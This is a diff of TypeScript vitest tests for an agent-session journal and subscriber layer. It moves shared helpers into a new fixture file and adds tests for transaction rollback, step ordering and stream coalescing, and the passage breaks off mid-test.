expect(subscribers.retainedActivityCountForTests).toBe(MAX_RETAINED_SESSION_ACTIVITIES) +}) - new AgentSessionSubscribers().open({ - id: 'subscriber-1', +it('publishes the current fence when a resumed cursor is already caught up', async () => { + const journal = await journals.open({ + identity: { sessionId: SESSION, - journal, - fence: 7, - cursor: journal.cursor(), - emit: (event) => events.push(event) - }) - - expect(events).toEqual([ - { - type: 'batch', - sessionId: SESSION, - batch: { - cursor: journal.cursor(), - items: [], - removedItemIds: [], - submissions: [] - }, - fence: 7, - hostNow: expect.any(Number), - activity: null - } - ]) + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'checkpoint-journal') }) - - it('stamps the host clock once per published frame', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'clock-journal') - }) - let now = 1_000 - let roster: AgentSessionBackgroundTaskState | null = null - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ - now: () => (now += 1), - readBackgroundTasks: () => roster - }) - const emit = (event: AgentSessionSubscribeEvent): void => { - events.push(event) - } - subscribers.open({ id: 'one', sessionId: SESSION, journal, fence: 1, emit }) - subscribers.open({ id: 'two', sessionId: SESSION, journal, fence: 1, emit }) - await journal.appendItem( - { provider: 'orca', clientMessageId: 'clocked' }, - { kind: 'status', text: 'Clocked' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - roster = { - state: 'monitoring', - tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] - } - subscribers.republishBackgroundTasks(SESSION, 1) - subscribers.snapshot(SESSION, journal, 1) - - expect(events.map((event) => ('hostNow' in event ? event.hostNow : null))).toEqual([ - 1_001, 1_002, - // Both subscribers of one publication read the same clock sample. - 1_003, 1_003, 1_004, 1_004, 1_005, 1_005 - ]) - expect(events.map((event) => event.type)).toEqual([ - 'snapshot', - 'snapshot', - 'batch', - 'batch', - 'batch', - 'batch', - 'snapshot', - 'snapshot' - ]) + const events: AgentSessionSubscribeEvent[] = [] + + new AgentSessionSubscribers().open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 7, + cursor: journal.cursor(), + emit: (event) => events.push(event) }) - it('includes catalogs on reconnect and sends an idle checkpoint without journal work', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'catalog-journal') - }) - let commands = [{ name: 'first', kind: 'skill' as const }] - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ readCommands: () => commands }) - subscribers.open({ - id: 'one', - sessionId: SESSION, - journal, - fence: 7, - emit: (event) => events.push(event) - }) - expect(events[0]).toMatchObject({ type: 'snapshot', commands }) - commands = [{ name: 'second', kind: 'skill' as const }] - subscribers.publish(SESSION, journal) - expect(events[1]).toEqual({ + expect(events).toEqual([ + { type: 'batch', sessionId: SESSION, + batch: { + cursor: journal.cursor(), + items: [], + removedItemIds: [], + submissions: [] + }, fence: 7, hostNow: expect.any(Number), - commands, - batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } - }) - subscribers.open({ - id: 'two', + activity: null + } + ]) +}) + +it('stamps the host clock once per published frame', async () => { + const journal = await journals.open({ + identity: { sessionId: SESSION, - journal, - cursor: journal.cursor(), - fence: 7, - emit: (event) => events.push(event) - }) - expect(events[2]).toMatchObject({ type: 'batch', commands }) + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'clock-journal') }) - - it('reports every content publication to the journal hook, subscribed or not', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'hook-journal') - }) - const published: string[] = [] - const subscribers = new AgentSessionSubscribers({ - onJournalPublished: (sessionId, published_journal) => { - expect(published_journal).toBe(journal) - published.push(sessionId) - } - }) - - subscribers.publish(SESSION, journal) - subscribers.snapshot(SESSION, journal, 1) - - expect(published).toEqual([SESSION, SESSION]) + let now = 1_000 + let roster: AgentSessionBackgroundTaskState | null = null + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ + now: () => (now += 1), + readBackgroundTasks: () => roster }) - - it('settles a session nobody is reading, from running to idle', async () => { - // Never open a subscriber: status must publish independently of transcript readers. - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'unread-journal') - }) - const statusFeed = new StructuredAgentSessionStatusFeed({ - logger: createStructuredAgentSessionLogger(), - sessions: new Map([ - [ - SESSION, - { - journal, - params: { - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: 'workspace-1', - workspaceKind: 'git-worktree' - }, - provider: 'codex' - } - } - ] - ]), - getConversation: () => null, - now: () => 1_000 - }) - const subscribers = new AgentSessionSubscribers({ - onJournalPublished: (sessionId, published) => statusFeed.publish(sessionId, published) - }) - const statuses: AgentSessionStatusEvent[] = [] - statusFeed.subscribe({ id: 'session-list', emit: (event) => statuses.push(event) }) - const turn = { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 0 } as const - - await journal.appendItem( - { ...turn, ordinal: 1 }, - { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'write a poem' }] }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await journal.appendItem( - turn, - { kind: 'status', text: 'Working', turnLifecycle: { turnId: 'turn-1', state: 'running' } }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - - expect(statuses.at(-1)).toEqual({ - type: 'status', - session: expect.objectContaining({ status: 'working', latestPrompt: 'write a poem' }) - }) - - await journal.appendTombstone(turn, { fence: 1 }) - subscribers.publish(SESSION, journal) - - expect(statuses.at(-1)).toEqual({ - type: 'status', - session: expect.objectContaining({ status: 'idle' }) - }) + const emit = (event: AgentSessionSubscribeEvent): void => { + events.push(event) + } + subscribers.open({ id: 'one', sessionId: SESSION, journal, fence: 1, emit }) + subscribers.open({ id: 'two', sessionId: SESSION, journal, fence: 1, emit }) + await journal.appendItem( + { provider: 'orca', clientMessageId: 'clocked' }, + { kind: 'status', text: 'Clocked' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + roster = { + state: 'monitoring', + tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] + } + subscribers.republishBackgroundTasks(SESSION, 1) + subscribers.snapshot(SESSION, journal, 1) + + expect(events.map((event) => ('hostNow' in event ? event.hostNow : null))).toEqual([ + 1_001, 1_002, + // Both subscribers of one publication read the same clock sample. + 1_003, 1_003, 1_004, 1_004, 1_005, 1_005 + ]) + expect(events.map((event) => event.type)).toEqual([ + 'snapshot', + 'snapshot', + 'batch', + 'batch', + 'batch', + 'batch', + 'snapshot', + 'snapshot' + ]) +}) + +it('includes catalogs on reconnect and sends an idle checkpoint without journal work', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'catalog-journal') }) - - it('publishes background lifecycle without advancing the journal and carries its fence forward', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'claude', - providerHandle: claudeProviderHandle('provider-1', null) - }, - stateDirectory: join(root, 'background-journal') - }) - let roster: AgentSessionBackgroundTaskState | null = null - const subscribers = new AgentSessionSubscribers({ readBackgroundTasks: () => roster }) - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - emit: (event) => events.push(event) - }) - const cursor = journal.cursor() - - const backgroundTasks: AgentSessionBackgroundTaskState = { - state: 'monitoring', - tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] - } - roster = backgroundTasks - subscribers.republishBackgroundTasks(SESSION, 2) - - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toEqual({ - type: 'batch', - sessionId: SESSION, - batch: { cursor, items: [], removedItemIds: [], submissions: [] }, - fence: 2, - hostNow: expect.any(Number), - backgroundTasks - }) - - await journal.appendItem( - { provider: 'orca', clientMessageId: 'after-background-fence' }, - { kind: 'status', text: 'After background state' }, - { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - - expect(events.at(-1)).toMatchObject({ type: 'batch', fence: 2 }) + let commands = [{ name: 'first', kind: 'skill' as const }] + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ readCommands: () => commands }) + subscribers.open({ + id: 'one', + sessionId: SESSION, + journal, + fence: 7, + emit: (event) => events.push(event) }) - - it('publishes latest turn activity without advancing or adding journal rows', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'activity-journal') - }) - const subscribers = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - emit: (event) => events.push(event) - }) - const cursor = journal.cursor() - - subscribers.publish(SESSION, journal, { - turnId: 'turn-1', - text: 'Inspecting the session wire' - }) - - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toEqual({ - type: 'batch', - sessionId: SESSION, - batch: { cursor, items: [], removedItemIds: [], submissions: [] }, - fence: 1, - hostNow: expect.any(Number), - activity: { turnId: 'turn-1', text: 'Inspecting the session wire' } - }) - - subscribers.close(SESSION, 'subscriber-1') - subscribers.publish(SESSION, journal, null) - subscribers.open({ - id: 'reconnected', - sessionId: SESSION, - journal, - fence: 1, - cursor, - emit: (event) => events.push(event) - }) - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toMatchObject({ activity: null }) + expect(events[0]).toMatchObject({ type: 'snapshot', commands }) + commands = [{ name: 'second', kind: 'skill' as const }] + subscribers.publish(SESSION, journal) + expect(events[1]).toEqual({ + type: 'batch', + sessionId: SESSION, + fence: 7, + hostNow: expect.any(Number), + commands, + batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } }) - - it('catches a subscriber up past a pre-existing unsendable removal with a bounded reset', async () => { - const journalDir = join(root, 'oversized-removal-journal') - const seeded = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: journalDir - }) - // A legacy removal ID exceeds the outbound cap alone, making catch-up impossible. - const hugeItemId = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` - const resumeCursor = seeded.cursor() - const seq = resumeCursor.sequence - const rows: JournalRow[] = [ - { - kind: 'item', - itemId: hugeItemId, - revision: 1, - body: { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'big' }] }, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: seeded.epoch, - seq: seq + 1, - fence: 1, - ts: 2_000 - }, - { - kind: 'tombstone', - itemId: hugeItemId, - revision: 2, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: seeded.epoch, - seq: seq + 2, - fence: 1, - ts: 2_001 - } - ] - // Direct writes model legacy persisted rows. - await seeded.close() - const opened = openTestJournalHostDatabase(journalDir) - try { - opened.db.exec('BEGIN IMMEDIATE') - for (const row of rows) { - insertTestJournalRow(opened.db, SESSION, row) - } - opened.db.exec('COMMIT') - } finally { - await opened.close() - } - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: journalDir - }) - - const subscribers = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - cursor: resumeCursor, - emit: (event) => events.push(event) - }) - - for (const event of events) { - expect(Buffer.byteLength(serializeRemoteRuntimePayload(event), 'utf8')).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - } - const reset = events.find((event) => event.type === 'reset') - expect(reset).toBeDefined() - - // Reset must advance past the unsendable row so later publications make progress. - const settled = events.length - subscribers.publish(SESSION, journal) - expect(events.slice(settled).filter((event) => event.type === 'reset')).toEqual([]) + subscribers.open({ + id: 'two', + sessionId: SESSION, + journal, + cursor: journal.cursor(), + fence: 7, + emit: (event) => events.push(event) }) + expect(events[2]).toMatchObject({ type: 'batch', commands }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts new file mode 100644 index 00000000000..5cb96331c66 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts @@ -0,0 +1,84 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemIdentity, + type AgentJournalToolCallItem +} from '../../../shared/agent-session-journal-types' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import type { JournalLifecycleMutationInput } from '../agent-session-journal/journal-row-builders' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { + createDeferredStructuredAgentSessionEventSink, + type StructuredAgentSessionSinkWatermarks +} from './structured-agent-session-event-sink' +import { testEventSinkLogging } from './structured-agent-session-logger-test-support' +import type { StructuredAgentSessionTransitionStep } from './structured-agent-session-transition' + +export const SESSION = 'session-transition' + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +export const roots: string[] = [] + +afterEach(async () => { + await journals.closeAll() + await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) +}) + +export function identity(recordId: string): AgentJournalItemIdentity { + return { provider: 'legacy', agent: 'grok', sessionId: SESSION, recordId } +} + +export function tool( + name: string, + state: AgentJournalToolCallItem['state'] +): AgentJournalToolCallItem { + return { kind: 'tool-call', name, input: { name }, state } +} + +export function failedTool(id: AgentJournalItemIdentity): JournalLifecycleMutationInput { + return { + kind: 'item', + identity: id, + body: tool('read', 'failed'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } +} + +export function itemStep( + resolve: Extract['resolve'], + reservedBytes = 4096 +): StructuredAgentSessionTransitionStep { + return { + kind: 'item', + reservedBytes, + resolve, + options: { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + } +} + +export async function rig(watermarks: Partial = {}) { + const root = await mkdtemp(join(tmpdir(), 'orca-transition-')) + roots.push(root) + const journal: AgentSessionJournal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'grok', + providerHandle: { transport: 'acp', agent: 'grok', nativeId: 'provider-session-1' } + }, + stateDirectory: root, + now: () => 1_000 + }) + const publishes: number[] = [] + const deferred = createDeferredStructuredAgentSessionEventSink({ + ...testEventSinkLogging(SESSION), + watermarks + }) + const bind = () => deferred.bind({ journal, fence: 1, publish: () => publishes.push(1) }) + return { root, journal, deferred, sink: deferred.sink, publishes, bind } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts new file mode 100644 index 00000000000..b435d58256c --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts @@ -0,0 +1,131 @@ +import { expect, it } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { createAgentSessionDeltaCoalescer } from './agent-session-delta-coalescer' + +import { + failedTool, + identity, + itemStep, + rig, + tool +} from './structured-agent-session-transition-contract-test-fixture' + +it('leaves no row of a settlement durable when a later one of its rows fails to write', async () => { + const { root, journal, deferred, sink, bind } = await rig() + bind() + const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) + for (const id of running) { + sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + } + await deferred.drained() + const before = journal.cursor().sequence + // Abort the second insert to verify settlement transaction atomicity. + openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_chunk +BEFORE INSERT ON main.journal_rows WHEN NEW.seq = ${before + 2} +BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + { + kind: 'settlement', + settlementId: 'settle-all', + reservedBytes: 1, + resolve: () => running.map(failedTool) + } + ] + }) + + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.cursor().sequence).toBe(before) + expect( + journal + .snapshot() + .items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toEqual([]) +}) + +it('writes and announces nothing when a step resolves to nothing', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + itemStep(() => null), + { kind: 'settlement', settlementId: 'none', reservedBytes: 1, resolve: () => [] } + ] + }) + await deferred.drained() + + expect(journal.snapshot().items).toEqual([]) + expect(publishes).toEqual([]) +}) + +it('lands a write a step issues while it runs after the whole transition', async () => { + const { journal, deferred, sink, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: false, + publish: false, + steps: [ + itemStep(() => { + // Nested writes must wait until the whole transition finishes. + sink.tryAppendItem?.(identity('nested'), tool('nested', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + return { identity: identity('first'), body: tool('first', 'running') } + }), + itemStep(() => ({ identity: identity('second'), body: tool('second', 'running') })) + ] + }) + await deferred.drained() + + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual( + ['first', 'second', 'nested'].map((recordId) => agentJournalItemKey(identity(recordId))) + ) +}) + +it('refuses, before writing anything, a settlement that names one item twice', async () => { + const { journal } = await rig() + const before = journal.cursor().sequence + const twice = identity('twice') + + await expect( + journal.appendSteps([ + { + kind: 'settlement', + batch: { + settlementId: 'twice', + fence: 1, + resolve: () => [failedTool(identity('once')), failedTool(twice), failedTool(twice)] + } + } + ]) + ).rejects.toThrow('journal_resolved_lifecycle_batch_names_item_twice') + expect(journal.cursor().sequence).toBe(before) +}) + +it('reports unwritten streams and owes nothing once the caller marks them written', () => { + const emitted: string[] = [] + const coalescer = createAgentSessionDeltaCoalescer({ + emit: (_key, text) => { + emitted.push(text) + }, + schedule: () => () => {} + }) + coalescer.append('a', 'Hel') + coalescer.append('b', 'Wor') + coalescer.append('a', 'lo') + + expect(coalescer.dirty().map(({ key, snapshot }) => [key, snapshot.text])).toEqual([ + ['a', 'Hello'], + ['b', 'Wor'] + ]) + coalescer.markFlushed('a') + coalescer.flushAll() + expect(emitted).toEqual(['Wor']) + expect(coalescer.dirty()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts index 85003f8b311..77745f29b37 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts @@ -1,318 +1,185 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' +import { expect, it, vi } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemIdentity, - type AgentJournalToolCallItem -} from '../../../shared/agent-session-journal-types' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import type { JournalLifecycleMutationInput } from '../agent-session-journal/journal-row-builders' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { createAgentSessionDeltaCoalescer } from './agent-session-delta-coalescer' -import { - createDeferredStructuredAgentSessionEventSink, - type StructuredAgentSessionSinkWatermarks -} from './structured-agent-session-event-sink' -import { testEventSinkLogging } from './structured-agent-session-logger-test-support' -import type { - StructuredAgentSessionTransition, - StructuredAgentSessionTransitionStep -} from './structured-agent-session-transition' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import type { StructuredAgentSessionTransition } from './structured-agent-session-transition' -const SESSION = 'session-transition' -const journals = createTrackedJournalOpener() -const roots: string[] = [] +import { + failedTool, + identity, + itemStep, + rig, + tool +} from './structured-agent-session-transition-contract-test-fixture' -afterEach(async () => { - await journals.closeAll() - await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) +it('lands its steps back to back, each resolved after the one before it', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const first = identity('first') + const transition: StructuredAgentSessionTransition = { + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: first, body: tool('read', 'running') })), + itemStep((view) => { + const before = view.itemBody(agentJournalItemKey(first)) + return before?.kind === 'tool-call' + ? { identity: identity('second'), body: tool(`after-${before.name}`, 'running') } + : null + }) + ] + } + expect(sink.tryAppendTransition?.(transition)).toEqual({ accepted: true }) + sink.tryAppendItem?.(identity('later'), tool('later', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await deferred.drained() + + const items = journal.snapshot().items + const start = items[0]?.sequence ?? 0 + expect(items.map((item) => [item.itemId, item.sequence - start])).toEqual([ + [agentJournalItemKey(first), 0], + [agentJournalItemKey(identity('second')), 1], + [agentJournalItemKey(identity('later')), 2] + ]) + expect(items[1]?.body).toMatchObject({ name: 'after-read' }) + expect(publishes).toHaveLength(1) }) -function identity(recordId: string): AgentJournalItemIdentity { - return { provider: 'legacy', agent: 'grok', sessionId: SESSION, recordId } -} - -function tool(name: string, state: AgentJournalToolCallItem['state']): AgentJournalToolCallItem { - return { kind: 'tool-call', name, input: { name }, state } -} - -function failedTool(id: AgentJournalItemIdentity): JournalLifecycleMutationInput { - return { - kind: 'item', - identity: id, - body: tool('read', 'failed'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } -} - -function itemStep( - resolve: Extract['resolve'], - reservedBytes = 4096 -): StructuredAgentSessionTransitionStep { - return { - kind: 'item', - reservedBytes, - resolve, - options: { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - } -} - -async function rig(watermarks: Partial = {}) { - const root = await mkdtemp(join(tmpdir(), 'orca-transition-')) - roots.push(root) - const journal: AgentSessionJournal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'grok', - providerHandle: { transport: 'acp', agent: 'grok', nativeId: 'provider-session-1' } - }, - stateDirectory: root, - now: () => 1_000 - }) - const publishes: number[] = [] - const deferred = createDeferredStructuredAgentSessionEventSink({ - ...testEventSinkLogging(SESSION), - watermarks - }) - const bind = () => deferred.bind({ journal, fence: 1, publish: () => publishes.push(1) }) - return { root, journal, deferred, sink: deferred.sink, publishes, bind } -} - -describe('structured agent-session transitions', () => { - it('lands its steps back to back, each resolved after the one before it', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const first = identity('first') - const transition: StructuredAgentSessionTransition = { - lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: first, body: tool('read', 'running') })), - itemStep((view) => { - const before = view.itemBody(agentJournalItemKey(first)) - return before?.kind === 'tool-call' - ? { identity: identity('second'), body: tool(`after-${before.name}`, 'running') } - : null - }) - ] - } - expect(sink.tryAppendTransition?.(transition)).toEqual({ accepted: true }) - sink.tryAppendItem?.(identity('later'), tool('later', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await deferred.drained() - - const items = journal.snapshot().items - const start = items[0]?.sequence ?? 0 - expect(items.map((item) => [item.itemId, item.sequence - start])).toEqual([ - [agentJournalItemKey(first), 0], - [agentJournalItemKey(identity('second')), 1], - [agentJournalItemKey(identity('later')), 2] - ]) - expect(items[1]?.body).toMatchObject({ name: 'after-read' }) - expect(publishes).toHaveLength(1) - }) - - it('admitted whole is not executed whole: a failed step keeps the ones before it and fails the sink', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('kept'), body: tool('read', 'running') })), - itemStep(() => { - throw new Error('resolver failed') - }) - ] - }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('kept')) - ]) - expect(publishes).toEqual([]) - expect( - sink.tryAppendTransition?.({ - lifecycle: false, - publish: false, - steps: [itemStep(() => null)] +it('admitted whole is not executed whole: a failed step keeps the ones before it and fails the sink', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('kept'), body: tool('read', 'running') })), + itemStep(() => { + throw new Error('resolver failed') }) - ).toEqual({ accepted: false, reason: 'failed' }) + ] }) - it('writes nothing after a step that overflows its reservation', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const after = vi.fn(() => ({ identity: identity('third'), body: tool('read', 'running') })) + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('kept')) + ]) + expect(publishes).toEqual([]) + expect( sink.tryAppendTransition?.({ lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('first'), body: tool('read', 'running') })), - itemStep( - () => ({ identity: identity('second'), body: tool('x'.repeat(10_000), 'running') }), - 64 - ), - itemStep(after) - ] + publish: false, + steps: [itemStep(() => null)] }) + ).toEqual({ accepted: false, reason: 'failed' }) +}) - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('first')) - ]) - expect(after).not.toHaveBeenCalled() - expect(publishes).toEqual([]) +it('writes nothing after a step that overflows its reservation', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const after = vi.fn(() => ({ identity: identity('third'), body: tool('read', 'running') })) + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('first'), body: tool('read', 'running') })), + itemStep( + () => ({ identity: identity('second'), body: tool('x'.repeat(10_000), 'running') }), + 64 + ), + itemStep(after) + ] }) - it('opens no next-turn work after a settlement the journal refused', async () => { - const { journal, deferred, sink, bind } = await rig() - bind() - const old = identity('old-tool') - sink.tryAppendItem?.(old, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - await deferred.drained() - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('before'), body: tool('read', 'completed') })), - { - kind: 'settlement', - settlementId: 'settle', - reservedBytes: 1, - resolve: () => [failedTool(old), failedTool(old)] - }, - itemStep(() => ({ identity: identity('next-turn-work'), body: tool('read', 'running') })) - ] - }) + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('first')) + ]) + expect(after).not.toHaveBeenCalled() + expect(publishes).toEqual([]) +}) - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(old), - agentJournalItemKey(identity('before')) - ]) - expect(journal.item(agentJournalItemKey(old))?.body).toMatchObject({ state: 'running' }) +it('opens no next-turn work after a settlement the journal refused', async () => { + const { journal, deferred, sink, bind } = await rig() + bind() + const old = identity('old-tool') + sink.tryAppendItem?.(old, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await deferred.drained() + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('before'), body: tool('read', 'completed') })), + { + kind: 'settlement', + settlementId: 'settle', + reservedBytes: 1, + resolve: () => [failedTool(old), failedTool(old)] + }, + itemStep(() => ({ identity: identity('next-turn-work'), body: tool('read', 'running') })) + ] }) - it('writes nothing after a step whose row the database refused', async () => { - const { root, journal, deferred, sink, bind } = await rig() - bind() - // Fail step two to verify step three never fills its place. - openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_step + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(old), + agentJournalItemKey(identity('before')) + ]) + expect(journal.item(agentJournalItemKey(old))?.body).toMatchObject({ state: 'running' }) +}) + +it('writes nothing after a step whose row the database refused', async () => { + 